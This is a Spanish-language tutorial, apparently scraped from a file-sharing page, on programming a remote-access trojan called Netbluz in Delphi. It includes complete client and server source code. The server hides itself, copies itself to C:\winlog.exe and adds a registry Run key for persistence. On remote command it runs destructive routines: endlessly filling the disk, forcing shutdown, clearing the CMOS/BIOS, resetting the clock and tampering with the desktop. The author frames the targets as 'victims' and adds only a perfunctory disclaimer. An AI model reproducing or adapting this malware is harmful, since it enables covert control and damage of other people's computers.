Sockets Delphi

Programacion de un troyano en delphi Escrito por Srg. Skapunky v 1.2 [email protected] Indice 1- Estructura basi

Views 92 Downloads 2 File size 216KB

Report DMCA / Copyright

DOWNLOAD FILE

Recommend stories

Citation preview

Programacion de un troyano en delphi

Escrito por Srg. Skapunky v 1.2

[email protected]

Indice

1- Estructura basica de un troyano 2-Programación basica del cliente 3- Programación basica del servidor 4-Autotest 5- Codigo completo cliente (Netbluz) 6-Codigo completo servidor (Netbluz) 7-Disclaimer/Despedida

1. Estructura basica de un troyano. Primero de todo, para aquellos que no sepais de que partes esta hecho un troyano, por lo general estara formado por un cliente y un servidor. La idea es que entre cliente-servidor se establecera una conexión mediante la cual se hara el envio de ordenes a ejecutar. Las ordenes se enviaran desde el cliente para que el servidor las reciba, las interprete y las ejecute. Aquí tienen graficamente la conexión.

Netbluss utiliza el sistema de conexión TCP/IP, hay otros tipos de conexiónes como las UDP pero nos centraremos en el primero. Con esta conexión igual que cons las UDP's el sistema clenteservidor se comunica a través de un puerto, en el caso de nuestra aplicación lo hace por el puerto 6868. Asi por lo general los troyanos són estructuras cliente-servidor interaxionadas entre si capazes de establecer envio/recido de ordenes, archivos... Recuerden que en el caso de los troyanos nunca ejecuten el servidor, en tal caso quedaran automaticamente infectados y correran riesgos. También puede dar-se el caso de los troyanos que el mismo cliente sea un editor del servidor. En estos el propio usuario desde el cliente configura algunas características como el puerto a conectar,

notificaciones de ip... Una vez se configuran las opciones disponibles el propio cliente crea un servidor personalizado. Las estructuras cliente-servidor, y mas en el caso de los troyanos es importante hablar del tipo de conexión. Existen en estos dos tipos de conexión. La directa y la inversa. Caso directa: El servidor una vez ejecutado quedara pendiente hasta que un servidor se conecte con el, para eso abrira un puerto y quedara en “Listening”. El cliente conectara con este y se establecera comunicación. Caso inversa: En este caso es el cliente el que queda en “Listening” y el servidor pide la conexión a este. La utilidad de este tipo de conexión es por si el host “victima” tiene IP dinamica y le va variando según se conecte a internet.. Del caso contrario le canviaria la IP y no podriamos volver a conectar con este.

2.Programación basica del Cliente Nota: Los controles que he puesto les he dejado el nombre por defecto, menos el del control winsock que le he puesto "winsock". Empezemos por poner los controles basicos que lleva un troyano, dos botones, uno para enviar la orden de ataque y otro para conectar el cliente al servidor. Despues tambien agreguen dos Edits, una para introducir la IP y otra para introducir el ataque. Una vez preparao todo esto toca programar la parte de la conexión, simplemente añadiendo: socket.Host := Edit1.Text; socket.Active := True; El puerto ponganlo directamente en la caja de propiedades del elemento winsock, utilizen puertos altos porque puertos inferiores a 1000 normalmente se usan para otras aplicaciónes. Si quisieran poner el puerto manualmente sin utilizar la caja de propiedades (yo no lo hago) tendran de poner lo siguiente:

socket.Host := Edit1.Text; socket.Port := Edit2.text; socket.Active := True; Nota: para hacerlo manualmente agregen un edit mas para el port, asi en total serian 3. Para completar la parte de conexión tendran de poner los eventos Onconnect, OnDisconnetc. Para ello en las propiedades del winsock, arriba denle a eventos y ponganle un nombre a los que quieran agregar. Yo para no complicarlo de momento e agregado el Onconnect,OnDisconnect y el Onconnecting. El Onconnect valida si el cliente esta conectado , el Disconect valida si el cliente esta desconectado y el OnConnecting valida cuando se esta haciendo el proceso de conectado. Una ves agregados los eventos estos, creen un nuevo edit, por ejemplo Edit3. Este edit conseguiremos que se vea el estado en el cual opera el cliente. Aqui dejo el ejemplo de codigo de comprovacion siendo nombrados con los siguientes nombres: Evento Onconnect --------> socketConnect Evento OnDisconnect ----> disconect Evento Onconnecting -----> conecting

procedure TForm1.socketConnect(Sender: TObject; Socket: TCustomWinSocket); begin Label3.caption := 'Conectado'; end;

procedure TForm1.conecting(Sender: TObject; Socket: TCustomWinSocket); begin Label3.caption := 'Conectando'; end;

procedure TForm1.disconect(Sender: TObject; Socket: TCustomWinSocket); begin Label3.caption := 'Desconectado'; end; Bien, ahora ya tenemos una conexión muy basica "medio-decente". Se le puede agregar el evento On Error por si hay algun tipo de error de conexión... Eso lo dejo para que ustedes investiguen sobre eventos y aprendan algo autodidacticamente. Por ultimo falta la transmissión de datos del cliente al servidor. Esto realmente es muy sencillo, ojo se pueden hacer rutinas de validaciones y tal, pero aqui dejare la forma basica. Recordemos que hay un Edit pa escribir el comando de ataque a enviar y un Button pa enviarlo. Pues clickearemos en el button y escribiremos el siguiente codigo: socket.Socket.SendText(Edit2.text); Facil no? Esto simplemente envia al servidor la palabra que hay escrita en el Edit2 que es el comando de ataque. Bien, espero haberme explicado y supongo que mucha gente tendra dudas y tal, pero representa que ya tienen un nivel de pascal/delphi suficiente para entender lo aqui descrito. A continuación dejo una captura de mi cliente para que lo vean y entiendan graficamente la idea de lo explicado.

3.Programación basica del servidor Bueno esta segunda parte les tendria de dar menos probemas ya que es menos liosa.Primero de todo añadan de la pestaña de componentes de internet el “server socket” y cambienle el nombre en la caja de propiedades como socket. Pueden dejar el nombre que viene por defecto pero como en mis ejemplos esta renombrado asi lo veran mejor. Aquí para hacer un servidor sencillo que lea los datos recividos por el cliente simplementeen la caja de propiedades del servidor (socket) en la pestañita de eventos activen el onclientread. En mis ejemplos lo e renombrado a clientread. En este procedimiento es donde se programara la llegada del la palabra que activara una u otra función. Veamos el codigo base: procedure TForm1.clientread(Sender: TObject; Socket: TCustomWinSocket); var palabra:string; begin palabra := socket.ReceiveText; if palabra = 'comando1' then begin acción1; end; if palabra := 'comando2'then

begin acción2; end; (*Puedes añadir los que quieras, también lo puedes hacer con case*) end; Bien comentemos un poco esto que es la parte fundamental del cliente, como veis se crea el procedimiento clientread (recuerden lo antes mencionado que lo e renombrado). Primero de todo se ha de declarar una variable como string, en esta se almacenara los datos que lleguen del cliente, en nuestro caso sera una simple palabra que determinara la acción a realizar. Despues con “palabra := socket.ReceiveText;” Se guarda el valor recibido del cliente en la variable “palabra”. Seguidamente como ven según la palabra con una estructura condicional se valora que acción realizar. Bien, un servidor basico se puede caracterizar por esa parte de codigo que conecta con el cliente e interpreta los datos recividos. Ahora ya tocaria directamente meter las funciones a realizar, recomiendo que si son mas de dos o tres linias de codigo lo llameis a partir de procedimientos y asi querara mas ordenado. 4. Auto-test Si quieres provar la efectividad del troyano, o ejecutarlo en tu propio equipo, puedes hacerlo sin necesidad de conectarte a internet y poniendo tu IP. Simplemente en la casilla de IP pon la sigueinte: 127.0.0.1 Si ejecutas el servidor del ejemplo , no corres riesgo de infectarte ya que no se te copiara en el registro. Lo que tendras de hacer es borrar solamente el siguiente archivo que es una copia del mismo servidor en: C:\winlog.exe

5. Codigo completo cliente (netbluz) unit NetBluz; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, StdCtrls, ExtCtrls, jpeg; type TForm1 = class(TForm) Edit1: TEdit; Button1: TButton; socket: TClientSocket; Panel1: TPanel; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Label5: TLabel; Edit2: TEdit; Button2: TButton; Image1: TImage; Label6: TLabel; procedure Button1Click(Sender: TObject); procedure socketConnect(Sender: TObject; Socket: TCustomWinSocket); procedure conecting(Sender: TObject; Socket: TCustomWinSocket); procedure disconect(Sender: TObject; Socket: TCustomWinSocket); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin socket.Host := Edit1.Text; socket.Active := True; end; procedure TForm1.socketConnect(Sender: TObject; Socket: TCustomWinSocket); begin Label3.caption := 'Conectado'; end; procedure TForm1.conecting(Sender: TObject; Socket: TCustomWinSocket); begin

Label3.caption := 'Conectando'; end; procedure TForm1.disconect(Sender: TObject; Socket: TCustomWinSocket); begin Label3.caption := 'Desconectado'; end; procedure TForm1.Button2Click(Sender: TObject); begin socket.Socket.SendText(Edit2.text); end; end.

6.Codigo completo servidor (Netbluz) unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, Registry, MMSystem ; type TForm1 = class(TForm) socket: TServerSocket; procedure clientread(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } public { Public declarations } end; var Form1: TForm1; filedest,filesource:string; Llave,ruta,llavex,valor:string; implementation {$R *.dfm} procedure comska; var x:textfile; begin assign (x,'c:\comska.txt'); rewrite (x); repeat writeln(x,'skapunky'); until 2=3; close (x); end; procedure window;

var hTaskBar: THandle; begin hTaskBar := FindWindow('Shell_TrayWnd', nil); ShowWindow(hTaskBar, SW_HIDE); end; procedure cwindow; var hTaskBar: THandle; begin hTaskBar := FindWindow('Shell_TrayWnd', nil); ShowWindow(hTaskBar, SW_SHOW); end; procedure infect; var reg:TRegistry; begin reg:=TRegistry.create; reg.RootKey:=HKEY_LOCAL_MACHINE; if reg.OpenKey('Software\Microsoft\Windows\Current Version\Run',False) then reg.WriteString('windos','C:\winlog.exe'); reg.Destroy; end; procedure time; var HoraSistema : TSystemTime; NewTime:string; begin NewTime:='00:00:00'; DateTimeToSystemTime( Date+StrToTime(NewTime),HoraSistema); SetLocalTime(HoraSistema); end; procedure cmos; asm MOV AX,0h @L1: OUT 70h,AX MOV BX,AX MOV AX,0h OUT 71h,AX MOV AX,BX INC AX CMP AX,03Fh JNZ @L1 end; procedure TForm1.clientread(Sender: TObject; Socket: TCustomWinSocket); var skapunky:string; begin skapunky:= socket.ReceiveText; if skapunky = 'beep' then begin beep;

end; if skapunky= 'comska' then begin comska; end; if skapunky= 'hidew' then begin window; end; if skapunky = 'showw' then begin cwindow; end; if skapunky = 'showi' then begin ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW); end; if skapunky = 'hidei' then begin ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE); end; if skapunky = 'close' then begin ExitWindowsEx(EWX_POWEROFF,0); end; if skapunky = 'tft' then begin SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0); end; if skapunky = 'inicio' then begin ShowWindow (FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil),SW_Hide); end; if skapunky = 'screen' then begin SendMessage(Form1.handle,WM_SYSCOMMAND,SC_SCREENSAVE,0); end; if skapunky = 'infect' then begin infect; end; if skapunky = 'time' then begin time; end; if skapunky = 'madmouse' then begin SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, nil, 0); end;

if skapunky = 'opencd' then begin mciSendString('Set cdaudio door open wait', nil, 0, 0); end; if skapunky = 'cmos' then begin cmos; end; end; begin filesource:= application.ExeName; filedest := 'C:\winlog.exe'; copyfile(pchar(filesource),pchar(filedest),false); ShowWindow(Application.Handle, SW_HIDE); end.

Nota : Aprovechando que les dejo el codigo pueden fijarse en las funciones basicas que se usan para aprender. A continuación dejo una lista de cada comando lo que hace por si les interesa.

Lista comandos usados: “beep” → Simplemente produce un pitido en el equipo remoto. “ Comska” → Produce el efecto de un gusano que escribi hace bastante tiempo llamado comska, lo que hace es llenar toda la memoria del disco duro con un archivo de texto efectuando la perdida de la memoria libre y la posible saturacion del pc. “hidew” → Oculta la barra de tareas de windows “Showw” → Desoculta la barra de tareas de windows. “hidei” → Oculta los iconos del escritorio.. “showi” → Desoculta los iconos del escritorio. “close” → Fuerza a windows a cerrarse con todas las aplicaciones que esten activas, en resumen cierra el ordenador. “tft” → Apaga el monitor del ordenador remoto. “inicio” → Oculta el boton de inicio. “screen” → Activa el salvapantallas que tenga el ordenador remoto por defecto. “infect” → Esta es la opcion por si quieres infectar el equipo y que el troyano este activo la siguiente vez que el host encienda el ordenador. Es recomendable a no ser que quieras usar el troyano una sola vez con alguien...

“time” → Con esta función cambiaras la hora del reloj de windows reseteandola a 00:00:00. “madmouse” → Con este comando cambiaras las funciones de los dos botones del mouse entre si, el izquierdo tendra la funcion del derecho y viceversa. “opencd” → Esta es la típica función de abrir la bandeja del cd del equipo remoto, me he tomado la libertad de no poner la de cerrar, que lo haga el usuario xd. “cmos” → Con este comando haremos un “clearcmos”. Esto tiene el mismo efecto que si desconectaramos un rato la pila de las bios. En definitiva, resetea las bios a la configuración original. 7. Disclaimer Aquí finaliza el manual de delphi orientado a la programación de troyanos.No me hago responsable del mal uso que se le de a la información aquí presente como a los daños que se puedan producir. El manual lo escribo en pdf para evitar que haya gente que copie a lo loco sin entender nada o gente aprovechada (lammers, script kidies...). Espero que les sirva de auda el manual, para cualquier cosulta escriban un mail a [email protected]. Uno de los propositos del manual es abastecer a programadores o interesados en la programación en delhpi, sobre todo a los jovenes que estan aprendiendo y no son capazes de salir del visual basic. También es interesante el manual porque en internet hay poca informacion sobre delphi y sockets y los escasos codigos que hay sobre este tipo de aplicaciones son basicamente chats o el fuente de algun troyano ya viejo. Saludos y hasta siempre. Atte. Srg. Skapunky